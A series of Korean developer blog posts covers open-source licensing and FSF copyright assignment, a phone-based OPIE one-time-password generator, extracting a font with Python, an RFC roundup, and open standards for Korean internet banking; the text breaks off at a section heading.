항상 좋은 강의를 웹에 공개해 주는 UC버클리에서 Open Source Development and Distribution of Digital Information: Technical, Economic, Social, and Legal Perspectives라는 강좌를 공개했습니다.

학정번호가 InfoSys, Law인 것을 봐서 개발의 깊숙한 부분이라기 보다는 사회/법적인 측면의 전반적인 수업이 될 것 같습니다. 실라버스의 주제들을 보면 Economics of Opensource, Open Source Business Models, Government Policy toward Open Source 같은 것들이 나와 있는 걸로 봐서는, 국내의 많은 오픈소스 진흥에 관련된 유관기관들에서도 공부를 좀 해야하지 않을까 싶네요. ^^ 단순히 오픈소스 소프트웨어들에 한정된 이야기가 아니고, PLOS나 위키백과같은 오픈소스 디지털컨텐트에 대한 것도 포함되어 있습니다.

특히 우리나라에서는 오픈소스의 저작권법/특허권법적 특징들과 오픈소스 프로젝트안에 숨어있는 경제학적 측면들에 대해서 일반인들의 이해가 굉장히 부족하기 때문에, 시간이 되면 저 강의에 대한 자막을 만들어서 같이 볼 수 있게 하는 것도 좋을 것 같습니다.

예전에 libgcrypt에 대한 SEED패치 작업이 진행되면서, FSF에 저작권을 전달하기 위해 메일을 보냈었는데, 지난 주말에 거의 3주만에 드디어 동의서가 도착했습니다. 목빠지겠어요;

내용물로 △ 동의서 1장 △ 회신용 봉투 1장 △ GNU 소 모양 (스티커커 아님) 2장 △ FSF 멤버가 되세요 광고지 1장 이렇게 들어있습니다. 기왕 주는 걸 스티커를 줬으면 더 좋았을텐데 아쉽네요.

이 문서에 싸인을 하면, 제가 올린 부분에 패치에 대한 저작권을 FSF에 할당하게 돼서, 저작권 방어를 FSF에서 대신 맡게 됩니다. 대략 20줄 내외가 넘는 패치들은 이렇게 한다는데.. 다른 프로젝트에서 다 이런식으로 항상 저작권 할당 작업을 한다면 굉장히 난감할 것 같군요; 좀 더 간단하게 자기가 스스로 인터넷에 간단한 라이선스로 릴리스하고 그걸 받아가게 하는 방법도 있긴 한데, 왠지 한 번 해 보고 싶어서 제일 복잡한 방법으로 한 번 둘러가 봤습니다. ^^;

그러나, 정작 싸인을 하려고 보니까 두둥..

과연 어디에 싸인을 해야 할 것인가! 우리나라에서 늘 쓰는 양식에는 (인) 위에 싸인을 하면 간단한데, 여기는 도대체 어디에 싸인을 해야할 지 애매하더군요; 아흐아흐.. 혹시 외국인들도 우리나라에 와서 싸인할 일이 생기면 (인) 뒤에 공간이 너무 적어서 도대체 여기다가 어떻게 싸인을 하느냐 하고 고민하지 않을까 생각을 해 봤습니다;

왠지 ①아니면 ③ 자리가 맞을 것 같았는데, 인터넷에 찾아보니 대체로 활자로 인쇄된 이름 위에 싸인을 하는 걸 봐서는 ②번 자리에 줄 위에다가 글자를 쓰라는 뜻으로 밑줄을 그어 놓은 것 같아서 거기에 싸인을 했습니다. (혹시 싸인해 보신 분은 정답을 알려주세요 -ㅇ-)

이제 회신을 보내면 저작권 작업이 끝나서, gnupg에서 SEED를 쓸 수 있을 것 같습니다. ^.^

항상 ssh로 서버에 접속해서 메일도 확인하고 채팅도 하고, 간단한 계산도 하고, 실험도 해보고 하는 일상적인 생활에서 학교나 게임방, 병원 같은 데서 아무나 쓰라고 내놓은 컴퓨터에서 ssh 패스워드를 입력하기란 찝찝하기가 짝이 없습니다. 뭔가 깔려있는 프로그램도 수백만개에다가.. 이거 바이러스 잡는 프로그램도 한 5개씩 깔려있는데 그놈들이 뭔가 더 바이러스 같아 보이고.. 그나마 치료도 안 될 것 같고.. 키보드 입력하는 걸 누가 사진 찍고 있을 것 같은 기분도 들고.. -ㅇ-;

그래서 지난 겨울에는 opiekey로 미리 일회용 패스워드를 여러개 뽑아서 종이에 인쇄해 다녔는데, 이게 또 맨날 까먹고 패스워드 다 됐을 때 보충해 놓지 않으면 접속하지 못하고, 종이에 적어다니다보니 잃어버릴 위험도 있고 해서 어제 전화기용 OPIE 제너레이터를 만들어 봤습니다.

요즘 세상이 좋아져서 자바 문법도 모르는데 IDE가 시키는 대로만 하니까 뚝딱 되더군요. (난생 처음 짜본 자바 프로그램 -O-;;)

SKT 전화 쓰시는 분들은 한번 해보세용. 다운로드는 무료인데, 데이터 요금은 듭니다. (데이터 무제한 요금제이면 안 들고..)

• 소스 (trac)
• 소스 (subversion)
• 다운로드 URL: http://openlook.org/opiekey (네이트 버튼 누르고 URL 직접 입력에서 입력하세요~)

처음 자바를 하는데 도움을 많이 주신 랫쓰님께 큰 감사 드립니다~ ^.^

싸이월드도 OPIE 지원하라~~ (먼산)

요즘 굴림체를 합법적으로 쓰는 방법으로 네이버 사전체가 인기를 얻고 있습니다. 상당히 좋은 품질의 비트맵 글꼴을 포함하고 있고, 라이선스도 OS 제한 없이 아무데서나 쓸 수 있게 하고 있어서 썩 괜찮은 선택인 것 같습니다. 흐흐

포트로 등록하기 위해서, 조금 쳐다봤는데 NSIS 인스톨러로 되어있어서 exe를 실행해야 하게 되어있네요~ 그래서 FreeBSD에서 풀 방법을 찾아보다가, p7zip에서 NSIS 설치파일을 풀 수 있다는 것을 발견했습니다. 그런데, p7zip이 C++ 프로그램에 템플릿을 와장창 써버리는 바람에.. 컴파일이 어찌나 느린지.. 그래서 포트에서 잽싸게 설치하는 데 문제가 좀 많아서 결국은 디버거로 한참 뚫어져라 쳐다봐서, 파이썬으로 p7zip에서 하는 짓과 비슷하게 한번 만들어 봤습니다.

>>> import urllib, zlib, md5
>>> URL = 'http://cndic.naver.com/font.nhn?menu=download'
>>> tcmp = urllib.urlopen(URL).read()[60703:14721246]
>>> uncmp = zlib.decompress(tcmp, -zlib.MAX_WBITS)
>>> md5.md5(uncmp).hexdigest()
'd4b2f7fafb16bca61f02108359e029bb'
>>> open('naverdic.ttf', 'w').write(uncmp)

p7zip은 없고 python이 있으시면 요 방법으로 간단하게 풀어보세요~ -O-

9월에 두 행사에서 발표를 맡았습니다. 혹시 직접 만나서 물어보실 것이 있으시거나, 전해주시고 싶은 선물-ㅇ- 이 있으시면 오시면 좋을 것 같습니다. ^o^

9월 1일~3일: 대안언어축제에서 Io언어 튜토리얼을 1시간 30분 정도 진행합니다. Io 언어는 문법이 안 독특한 듯 하면서도, 독특하고 자유도가 별로인 것 같으면서도 굉장히 자유로운 재미있는 성질이 있는데요, 혼자 공부하기 귀찮으시면 오셔서 같이~ 물론, 대안언어축제의 다른 행사들도 ∑n=0,∞{정말정말} 재미있습니다. 요즘 참가신청을 받고 있으니 일정을 확인해 보시고 등록하세요~ (마감임박!)

9월 17일: KLDP 10주년 기념 컨퍼런스에서 "오픈소스 프로젝트에 참여하기"라는 제목으로 발표할 예정입니다. 그냥 사용자로써 종종 불편한 점을 패치해서 개발자들에게 보내주는 방법부터 개발자가 되기 위한 중간 과정, 개발자가 되고 나서 있는 여러 인간관계까지 다양한 상황에 대한 소개를 조금씩 해드리려고 합니다. 구글의 Greg Stein도 온다고 하니, 구글에 관심 있는 분들도 오시면 재미있을 것 같네요~ -- 아마 Greg Stein의 발표는 그동안의 발표 내용으로 미루어보아 Python과 MySQL에 대한 내용이 주가 되지 않을까 생각합니다.

애자일 블로그에 올라온 프로그래머와 수학을 읽고 전에 경험했던 것을 짧게 써 봅니다.

프로그램을 하다보면, 뭔가 하고 있는 것이 비효율적인 것 같은 느낌이 약간은 들지만, 최적화가 충분히 되어있다고 느낄 때가 많습니다. 더 속도가 필요하다면, 더 빠른 언어와 여러 트릭을 동원해서 빠르게 하곤 합니다. 극단적인 경우를 예를 들어서, 항상 예제로 많이 쓰이는 피보나치 수열을 한 번 보겠습니다. 실제 프로그래밍이 피보나치 수열처럼 간단한 루틴일 리도 없고 그렇게 반복적으로 호출될 일은 없겠지만, 그래도 극단적인 예를 보면, 그 특징을 다른 곳에서 활용할 수 있을테니까요~

일반적으로 피보나치 수열 n번째를 구하는 루틴은 파이썬으로 이렇게 합니다.

def fib(n):
    a, b = 1, 1
    for i in xrange(n):
        a, b = b, a+b
    return a

만약 피보나치 수열의 200005번째 수 "주변"의 것이 정확할 필요는 없고 대충의 값이 필요해서 호출한다면, 제 컴퓨터에서는 대충 2.82초 정도가 걸립니다. 그런데, 이런 루틴이 적어도 초당 100번 이상은 호출되어야 하는 상황이 왔다고 치면 보통 이런 대안을 생각합니다.

• 파이썬이 느리니까 C로 하자!
• a, b는 터플이 묶였다가 풀리면서 메모리 할당을 하니까 따로 따로 하게 2줄로 분리해 보자.
• 내가 요새 어셈블리에 재미를 붙였는데, 어셈블리로 하면 레지스터도 충분히 활용하고 빠르지 않을까?
• 루프를 매번 돌리는 것은 비효율적이니까, 16번에 한번씩 돌게 풀어쓰면(unroll) 빨라질거야!

자.. 그런데, C로 하면 과연 얼마나 빨라질까요. 200005번째 피보나치 수는 64비트로 커버가 안 되는 수이기 때문에, 빅넘버 라이브러리를 쓰다보면 결국 시간이 제법 걸리고, 속도도 생각보다는 별로 빠르지 않습니다. 어셈블리로 하면? 과연 오늘 퇴근 할 수 있을까요..

여기서 경험많은 프로그래머는 알고리즘을 휙 보고, 이런 코드로 최적화를 합니다.

def fib(n):
    if n == 200000:
        a, b = FIB200000TH, FIB200001TH
        begin = 200000
    else:
        a, b, begin = 1, 1, 0

    for i in xrange(begin, n):
        a, b = b, a+b
    return a

200005번째 수를 주는데 걸리는 시간이 눈깜짝할 새 입니다. 아이 그런데, 또 주변의 수가 더 필요해졌습니다. 그래서, 좀 더 많은 범위에서 캐시를 할 수 있게 데코레이터도 쓰고 해서 멋있는 캐시를 넣어서 정말 더 빨라졌습니다. 그랬더니 이제는 메모리를 너무 많이 먹습니다! 결국에는 캐시 관리 기능에 메모리가 얼마인지 보게도 만들어서, 이 프로그래머는 주변의 존경을 받습니다.

그러나, 이때 옆에서 보던 한 수학자가 종이에 뭘 끄적거리더니, 이렇게 하면 안 되겠냐고 조심스럽게 코드를 한손가락으로 톡톡 쳐줍니다.

from decimal import Decimal as d
r5 = d(5).sqrt()
d1, d2 = d(1), d(2)
def fib(n):
    # a(n) = a(n-1) + a(n-2), a(0)=1, a(1)=1 을 푼 것임
    return int((d1 / r5) * (( (d1+r5)/d2 )**(n+d1) -
                            ( (d1-r5)/d2 )**(n+d1)   ))

아! 아.. 프로그래머는 뭔가 속은 기분이 들었습니다. 그래서 유심히 보니까, 실행해 보면 정확한 값이 나오지는 않았습니다. 그래서 따져보고 싶었지만 필요한 것은 그냥 대충 화면 좌표를 잡는 것이라 유효숫자 6개 정도만 하면 넘칠정도라는 사실에 슬펐습니다.

컴퓨터 전공 학생들은 대부분 4학년 되면, 적분기호를 까먹을 정도로 수학을 쓸 일이 없습니다. 그런데, 간단한 프로그래밍의 수준을 지나면 생각보다 훨씬 수학을 활용할 수 있는 일이 늘어나는 것 같습니다. 물론 굳이 수학 뿐만 아니라, 넓게 봐서 논리의 흐름과 여러가지 알고리즘적인 방법, 패턴 등이 있겠죠.

모니터 가까이에서 코드를 보고 있으면, 앞에서 본 C로 하면 무조건 제일 빠를거야!, 터플 때문에 괜히 메모리 할당하는 것을 줄이면 정말 빠를거야! 라는 생각을 늘 하게 되기에 마련이지만, 가끔은 좀 멀리서 최적화에 조바심을 내지 않으면서 코드를 볼 기회도 가져봄 직 할 것 같습니다.

"Real efficiency comes from elegant solutions, not optimized programs. Optimization is always just a few correctness-preserving transformations away." - Jonathan Sobel, 《Is Scheme Faster than C?》에서

붙임: 중간에 든 예가 좀 과장이 심해서 죄송 -ㅇ-; 글의 원래의도가 피보나치 수열을 최적화하자는 것은 아닙니다. ^^;

한동안 새로 올라오는 RFC 목록을 안 보고 있다가, 오랜만에 한번 쑥~ 훑어 봤습니다. 아무래도 인터넷의 트렌드를 알려면 RFC 목록을 보는 것이 많은 도움이 되는군요. ^.^

작년엔 주로 SIP 같은 세션 프로토콜들과 그와 관련된 스트리밍 프로토콜들이 주종을 이루었는데, 올해에는 이제 그를 뒷받침해 줄 인프라망에 대한 것들이 많이 올라오는 분위기입니다. BGP 같은 라우팅 프로토콜류에 관한 것들이 특히 많고, Mobile IP의 라우팅 최적화, 3GPP와의 연결 가이드라인 같은 것들이 등장하고 있습니다. 그리고, DNAv4 같이 사용자망에서의 새로운 활용가능성을 더 높이기 위한 기존 프로토콜의 보완작업도 일어나고 있습니다. 이에 따라, 점점 동적인 네트워크가 강화되고, 모바일 네트워크를 제대로 지원해주기 위한 기반 작업들이 굉장히 빠르게 다가오고 있다는 느낌을 받을 수 있습니다.

SSH가 RFC로 등록된 것이 유닉스 개발자들에게는 가장 관심이 있을 만한 것일 듯 합니다. RFC4150을 시작으로 구조, 인증, 키교환, 통신계층, DNS 등 거의 20~30개 정도 되는 RFC들이 우루루 들어왔습니다. 저자로는 SSH를 최초로 고안한 SSH Communications가 당연히 제1저자로 등록이 되어있고, 제2저자는 Cisco 직원이군요. RFC가 이제 IETF Proposed Standard로 등록이 되었으니, ssh 구현 간의 비호환성이 앞으로 많이 줄어들겠지만, 사실상 지금까지 크게 불편했던 점이 없었기 때문에 눈으로 볼 수 있는 변화는 별로 없을 것 같긴 합니다;;; 어쨌거나 표준화가 착실하게 되어서 등록된 점에서는 매우 환영할 일입니다.

그리고, 요새 네임스페이스와 관련한 것도 일상에 영향을 많이 주니 흥미롭습니다. ^^ RFC 4343으로 DNS 대소문자 구분에 대한 것이 등록되었습니다. 지금까지 표준안에서 DNS에서 대소문자 구분에 대한 규칙이 전혀 없었고, 심지어 아스키문자가 아닌 것도 프로토콜에 얼마든지 허용이 되었습니다. (\x00 마저!) 이런 것들에 대해서 존 파일에 쓰는 방법을 표준화 하고, 대소문자 구분을 안 한다는 사실을 처음으로 명문화 하였다고 합니다. --;

뉴질랜드 정부에서 URN 네임스페이스를 등록한 RFC 4350 도 재미있습니다. 개요에서 밝힌 목적은, 뉴질랜드 정부 기관과 기업, 개인들에게 개인 식별자를 제공하기 위한 것이라고 하는데, 예시를 보면 도메인 시스템과 비슷하게 계층구조로 정부에서 관리할 계획인 것 같습니다. 그래서 회사 이름과 지리정보, 국가에서 관리하는 여러 식별번호를 모두 URN으로 통합할 수 있게 되어, 고유식별번호를 교환할 때 매우 편리하게 되었습니다. 무슨 뜻인지 알 수가 없는 UUID만 떨렁 써놓고 표준이라고 주장하는 것을 이제 뉴질랜드에서는 보기 힘들겠군요. :)

그리고, 재작년부터 선풍적인 인기를 끌고 있는 SPF가 드디어 RFC로 등록되었군요. 비록 EXPERIMENTAL 트랙으로 들어가기는 했지만, 그래도 공감을 이끌어낸 뒤 표준화되어 결국 RFC 등록이 되었다는 점에서, "SPF는 단순한 꼼수가 아니냐!"고 무시해버리기는 힘들게 되었습니다. SPF 만세 -O-;

보안과 관련한 것들은 꾸준히 증가하고 있는데, 이번에는 TLS가 RFC 4346에서 1.1로 업데이트됐습니다. (RFC 4346의 제2저자의 소속이 재미있습니다. -O-;;;) TLS 1.0과의 차이점은 그동안 꾸준히 제기되어 왔던 CBC 패턴 분석 공격에 대응하기 위해서 IV (Initialization Vector)를 명시적으로 지정하게 되었고, 간단한 에러 처리 규칙이 몇 가지 바뀌었습니다. TLS 1.0의 내부 버전이 SSL 3.1이라는 사실을 기억하면, TLS 1.1의 버전이 뭐가 될 것인가도 상당히 궁금해 지는데요, RFC 내용을 보면 SSL 3.2로 한다고 합니다. (프로토콜 내부의 핸드셰이킹을 위한 버전 번호)

그리고 IPSec도 RFC 4301에서 업데이트 되었습니다. 성능 향상과 구현의 단순화를 위해 처리 모델을 바꾸고, SPD (Security Policy Database)의 유연성을 확보한 것이 주요한 변경사항인 듯 합니다. 그리고, 일본의 블럭 싸이퍼인 Camellia가 RFC 4312에서 Standards Track으로 승격되면서 IPSec에서 사용가능하게 되었습니다. (SEED는 RFC 4169에서 Proposed Standard)

그 외에 재미있는 것:

• RFC 4217: FTP를 TLS위에서 쓰도록 확장
• RFC 4226: HOTP(HMAC-Based One-Time Password) - HMAC을 이용한 일회용 암호 알고리즘
• RFC 4227: BEEP 블럭에서의 SOAP 활용
• RFC 4215: 3GPP에서의 IPv6 전환에 대한 분석
• RFC 4510: 오랜만의 LDAP 프로토콜 업데이트. LDAPv3

덴마크에서 2008년 1월부터 공개 표준(Open Standard)를 법적으로 의무화한다고 합니다. 공개 표준화가 슬슬 여러 국가에서 채택이 되고 있는 가운데, 덴마크에서 거의 최초로 법적으로 광범위하게 강제화 하게 된 것입니다.

이번에 덴마크에서 공개 표준을 주로 노린 부분은 문서 파일 포맷에 주안점을 둔 것 같이 보입니다. 위 뉴스의 (비공식) 영어번역을 보면, 의회의 안의 결정 안에서 이런 법의 도입 목적은 "모든 시민들에게 공공 기관에서 제공하는 모든 디지털 정보를 자유롭게 주고 받을 수 있는 민주적인 권리를 모든 공공 기관에서 사용되는 IT 기술에 대해 적용하려는 정치적인 작업"을 하는 것이라고 합니다. 최근 우리나라에서 고질적인 정부의 표준 무개념에 대한 개선 노력이 눈물겹게 이뤄지고 있는 것을 생각해 보면, 오랫동안의 차별에 무기력하게 익숙해져 있었던 자아를 반성하게 됩니다. ^.^;

그 외에도, △ 대민 서비스와 업무를 위해 공공기관이 구입하는 소프트웨어에 대한 정책적 결정 △ 공개 경쟁의 촉진 △ 여러 단계의 기관들 끼리의 시스템 통합을 위한 공개 표준 채택 △ 공개 표준을 공적으로 관리함에 따른 장기적 관점에서의 경제적 혜택 등을 언급하고 있습니다.

우리나라에서도 지금처럼 단순히 공개 표준을 모른체하며 99%가 쓴다는 고가의 단일회사 제품을 나머지 1%에게도 쓰도록 강요하는 상황이 속히 개선되어서, 초고속 인터넷 (게임) 강국 그러면서 조바심 내지 말고 느긋하고 여유있는 멋진 발전을 이루었으면 좋겠습니다.

앞에서 살짜쿵 얘기해 보았던 〈인터넷 금융 서비스 플랫폼 문제의 현실적 대안〉에서 공개 표준 프로토콜을 도입하는 방법에 대해서 조금 더 자세하게 살펴 보겠습니다. 물론, photon님께서 말씀하신 대로 단기적인 해결책은 우선 현재 돌아가는 형태 안에서 플러그인을 많이 쓰이는 대안 플랫폼들에 포팅하는 것이 되겠습니다. 장기적인 안을 고려하자면 여러 다른 형태도 고려해 봄 직 합니다.

자바스크립트 API로 표준화하기

이 방법은 자바스크립트 API를 "인증서를 확인하라", "개인 인식 번호를 전송하라", "송금 확인을 해서 싸인하라" 등의 기초적인 기능을 수행하도록 표준안을 만드는 것입니다. 그러니까, 세션 암호화 등의 밑에 깔리는 것들은 HTTPS를 이용하고, 인증서 확인과 관련된 것을 웹브라우저 플러그인으로 들어가거나 다른 방법으로 자바스크립트의 함수를 호출하는 것으로 해결을 하는 방법입니다. 도식화 하자면, (이 그림은 일반인의 이해를 돕기 위해 과하게 단순화를 한 것이며, 실제 구조를 정확하게 표시한 구조도가 아닙니다.)

대충 모양은 이렇게 나오는데, 예를 들자면 W3C XMLHttpRequest 같이 자바스크립트 오브젝트를 정의하는 형태이면 적당할 듯 합니다.

자바스크립트 API를 그냥 중간전달자로만 활용하기

이 구조는 지금 이니텍과 소프트포럼에서 채택하고 있는 방식과 비슷한 것입니다. 정확히는 이니텍과 소프트포럼은 Active X 오브젝트나 플래시 오브젝트를 대신 경유하고 있지만, 경유하는 과정을 굉장히 단순하게 전달자로만 쓴다는 점에서는 비슷합니다. 원래는 128비트 암호화를 웹브라우저에서 HTTPS로 지원하지 않아서, 암호화를 하려다 보니 이런 형태를 띠게 되었습니다. 이 구조에서는, 자바스크립트 API를 제공하기는 하는데, 거의 의미없이 그냥 전달만 합니다. 안에 전달 받은 곳에 구체적인 프로그램 동작이나 사용자의 행위를 요구하는 것에 대한 정보가 암호화되어 저장됩니다.

이 경우에는 호출하는 방법도 물론 표준화를 해야겠지만, 매우 간단하기 때문에 별로 흉내내는 것도 어렵지는 않아지고 플랫폼에 따라서 선택적으로 취할 수도 있습니다. 자세한 내부 정보의 바이너리 포맷을 정하는 것이 표준화에서 중요한데, RFC3261 SIP 같이 텍스트 기반의 프로토콜을 채택할 수도 있고, RFC2138 RADIUS같이 바이너리 프로토콜을 채택할 수도 있습니다.

바닥부터 TCP또는 SSL기반의 프로토콜을 만들기

독일에서 쓰는 HBCI (Home Banking Computer Interface)에서 쓰는 방식입니다. 이 방식에서는 HTTP나 SMTP같이 아예 바닥부터 프로토콜을 새로 만들어 버립니다. 이렇게 되면, 꼭 웹브라우저에 의존할 필요가 없기 때문에, 플랫폼이 GUI 프로그램이 될 수도 있고, 텍스트 콘솔이 될 수도 있고, 웹 브라우저에 들어갈 수도 있고, 심지어 집 현관문에 붙은 인터폰에 들어갈 수도 있습니다. 구조를 보면 대략,

이렇게 볼 수 있습니다. 바닥부터 만드니 만큼 호환성에 대한 테스트가 많이 이뤄져야 하고, 구현 작업에서 전반적인 작업량도 많습니다.

RPC 기반의 프로토콜

네트워크 부분을 신경쓰지 않고 그냥 서버를 호출할 수 있게 RPC 프로토콜을 활용하는 방법입니다. 인터넷을 경유하는 RPC 프로토콜로는 SOAP이나 XMLRPC 같은 것이 많이 쓰입니다.

전체적인 구조는 이렇게, 클라이언트가 호출하는 RPC API를 정하고, 네트워크에서 돌아가는 RPC 클라이언트 - 서버 구간은 기존 표준을 활용하게 됩니다. Blogger API 같은 것이 대표적인 RPC 기반 표준 API입니다. SOAP와 XMLRPC 둘 다 밑에 HTTPS를 깔고 들어갈 수 있기 때문에, 암호화 채널에 대해서도 크게 복잡하지 않습니다.

표준 API만 정하고 SDK 제공

이 방법은 아예 프로토콜을 정하지 않고, 금융회사나 보안솔루션회사에서 제공해 주는 SDK(Software Development Kit)를 이용해서 최종 프로그램을 컴파일하는 방식입니다. 여기서 각 SDK의 API를 통일해서 표준 API만 지키면 아무 회사의 SDK라도 사용할 수 있게 하는 것입니다.

실제 예를 찾아보면, IETF Draft 상태인 Diameter API가 그런 비슷한 방법입니다. 이 표준안에서 정의된 API로 Sun과 Toshiba등의 회사에서 SDK를 만들었기 때문에 어느 회사의 라이브러리를 쓰느냐와 상관 없이 그냥 링크를 할 수 있습니다. (Diameter는 범용 표준 인증/과금 프로토콜인데, TCP와 SCTP위에서 작동하는 바이너리 프로토콜입니다.) 물론, OpenGroup의 SUS (Single UNIX Specifications)도 그런 비슷한 것이긴 하지만, 용도가 좀 다르군요. ^^;

물론, 이렇게 되면, 제공되는 SDK가 네이티브 바이너리인 경우에는 플랫폼의 제약이 매우 심해지겠지만, 자바 클래스 라이브러리이거나 파이썬 모듈 같이 크로스플랫폼 포맷이라면 별 제약이 없을 수도 있습니다.

객관적이지 않은 편견을 드리지 않기 위해서, 각 방식의 장단점에 대해 제 주관적인 의견을 최대한 빼고 쓰려고 노력해서 설명을 해 봤습니다. ^^; 장기적인 대안은 아직 멀리 있는 뜬구름 잡는 얘기이기는 하지만 그래도 독일에서도 어떻게든 공개 표준이 있는 만큼, 우리도 영원히 못할 일은 아닌 듯 싶습니다.

요즘 웹 표준에 옹호적인 커뮤니티들에서는 한 법대 교수님의 웹 페이지 국제 표준화를 위한 민원/소송 준비를 무척 반기며 들떠 있습니다. 그 동안에도 웹 표준과 관련된 운동은 몇 번 있기는 했지만, 엉뚱한 사람들 불러다가 토론 한 번하고 끝난다거나, 기업 사이트들의 느리디 느려서 언제 끝날지 모르는 프로젝트의 시작을 떠들썩하게 광고한 것으로 그쳐왔습니다.

이번 소송 준비에서는 그야말로 "끝장을 보겠다"고 선언을 하시고 진행을 하고 있기 때문에, 정말로 뭔가 뚜렷한 변화가 있지 않을까 하고 생각하고 있던 것들 중, 인터넷 금융 서비스에 대한 부분을 글로 옮겨 봅니다.

지금까지의 상황

그 동안에는 마이너 브라우저와 플랫폼에 대한 운동으로 어정쩡한 태도로 시작해서, 어정쩡하게 끝난 프리뱅크 같은 커뮤니티 기반의 움직임도 있었고, 공개소프트웨어 포탈에서 정부 지원으로 진행된 이니텍/경원대학교의 프로젝트 같은 것도 있었습니다. 현재 소비자 인터넷 금융 기술 시장의 거의 대부분을 차지하고 있는 소프트포럼과 이니텍은 해외수출이나 다양한 서버 플랫폼의 지원 등을 위해서 이미 오래 전에 기술적으로는 이미 거의 완성단계인 듯 합니다.

"플러그인 만들어 주세요"의 문제

현재 "웹 페이지 국제 표준화를 위한 민원/소송 준비" 모임에서도 지금까지 다른 운동이나 프로젝트에서 진행해 왔던 것처럼, 플러그인을 다른 플랫폼으로 포팅하는 것을 유도를 하려는 듯 보입니다. 그렇지만, "플러그인을 리눅스로 포팅해 주세요." 류의 의견으로는 지금 당장의 승리라고 볼 수 있을 지는 몰라도, 또 다시 다른 어쩔 수 없는 마이너 사용자들을 낳을 수 밖에 없습니다.

플래시 기반 플러그인

우선, 플래시로 플러그인을 포팅하는 것에 대해서 논하자면, 플래시는 생각보다 그렇게 공식 지원 플랫폼이 많지 않기 때문에, 또다른 소외를 낳을 수 밖에 없습니다. 즉, 윈도우, 리눅스, 맥 사용자는 전혀 불편함을 느끼지 않을 지 몰라도, FreeBSD, NetBSD 또는 리눅스라도 CPU가 MIPS나 UltraSPARC 같은 것인 경우에는 공식적으로 플래시가 지원되지 않습니다. 또한, 플래시의 가장 큰 문제점은 하드웨어 접근이 어렵다는 점입니다. 인증서 관련 작업은 특성상 비정규 USB 장치까지 접근을 해야하기 때문에, 순수 플래시로는 구현이 어려우며, 특히 전송 채널 암호화 같은 것은 플래시로 반응성이 제대로 나올 수 있을지도 의문입니다.

XPCOM 기반 플러그인과 ABI 문제

그 다음으로, 모질라 계열의 클라이언트 측 API인 XPCOM을 쓰는 플러그인은 우선, 모질라 계열의 브라우저들을 지원할 수는 있겠지만, 결국에는 여러 이유로 네이티브 라이브러리가 들어갈 수 밖에 없습니다. 즉, 플러그인 제작사의 네이티브 라이브러리가 지원되는 플랫폼에 한해서 지원이 가능하기 때문에, 사실상 플랫폼이 굉장히 제한될 수 밖에 없습니다. 오픈소스 플랫폼의 ABI(Application Binary Interface)가 상당히 다양하다는 것이 바로 그 이유입니다. 즉, 주요 오픈소스 운영체제인 Linux, FreeBSD, OpenBSD, NetBSD, OpenDarwin 만 따져도 벌써 5개인데, 여기에 각각 아키텍처가 6개씩이라고 치면 5*6=30, 그리고 각 플랫폼 별로 호환되지 않는 널리 쓰이는 libc 버전이 3개씩이라고 치면 30*3=90, 게다가 gtk, libX11, libcrypto등의 기타 라이브러리들 중에 5가지 정도의 버전 조합이 널리 쓰인다고 치면 90*5=450. 즉, 플러그인을 배포할 때 무려 450가지 아키텍처와 플랫폼 조합을 배포하고 테스트하고 관리해야 한다는 말이 됩니다. 게다가, 플랫폼 별로 브라우저도 또 3~4가지씩은 있고.. 450가지 중 많이 쓰이는 3가지 정도의 환경만 지원한다고 선언을 하면, 물론 구글 서비스 같은 곳에서는 통하겠지만, 마이너를 왜 차별하냐고 선언한 서비스가 별로 차이나지도 않는 마이너들을 또 다른 조건으로 차별하는 일은 설득력이 별로 없을 것입니다. 수치 산정에 좀 무리를 하긴 했지만, 앞으로 더 희한한 상황이 올 지도 모릅니다.

"플러그인"의 역할

그럼, 플러그인은 과연 무슨 역할을 하는 것일까요. 우선, 가장 기본적으로 오프라인의 사람이 온라인의 이 사람이란 것을 증명하는 "신원 증명" 역할이 가장 주된 것입니다. 또한, SSL/TLS과 비슷한 역할을 수행해서, 다른 사람들이 통신 내용을 중간에서 보지 못하고, 변조하지 못하도록 하는 "채널 암호화" 기능도 지원합니다. 그리고, 송금이나 가입, 대출신청 등의 중요한 작업에서 사용자에게 내용을 확인하게 한 뒤에, 그에 대해서 싸인을 하게 하는 "부인 방지" 기능도 중요합니다. 사실 "신원 증명"이나 "채널 암호화"는 HTTPS 같은 것으로도 충분히 가능하지만, 바로 이 "부인 방지" 때문에 아직도 별도의 플러그인이 필요한 것입니다.

공개 표준 프로토콜

그래서 대안으로 생각할 만한 것은, 공개 표준 프로토콜을 수립하는 것입니다. 즉, 현재와 같은 웹브라우저에서 HTML을 통한 통신이든, SOAP 같은 표준 RPC 프로토콜이나 별도의 프로토콜을 마련하든간에 플러그인 구현과 전혀 상관 없이, 서버는 서버대로 표준을 지키고, 클라이언트는 클라이언트 대로 표준을 지키면 제대로 서비스를 쓸 수 있도록 하는 것입니다. 우선 이렇게 되면, 굳이 은행이나 보안관련 회사들이 플러그인을 구현해 줄 필요 없이, 표준에만 맞으면 누구든 플러그인을 만들어서 팔아도 되고, 공짜로 줘도 되고, 혼자 써도 되고 여러가지 스스로의 환경에 맞는 선택을 할 수 있게 됩니다. 특히, 오픈소스 클라이언트가 나오면, 사용자가 자기 플랫폼에 맞게 컴파일을 할 수 있기 때문에, 아무리 특이한 플랫폼이 나오더라도 어떻게든 해 볼 수는 있는 여지가 있습니다. 또한, 이로써 얻을 수 있는 다른 이익으로는 똑같은 서버로 같은 기능을 PC외에도 손전화, PDA, 타블렛PC 또는 심지어 인터넷 뱅킹만 되는 전용 단말기까지도 쓸 수 있게 됩니다. 따라서, 인터넷 금융이 좀 더 자유롭고 잠재적인 발전 가능성을 얻게 됩니다.

보안 관점에서의 공개 표준 프로토콜

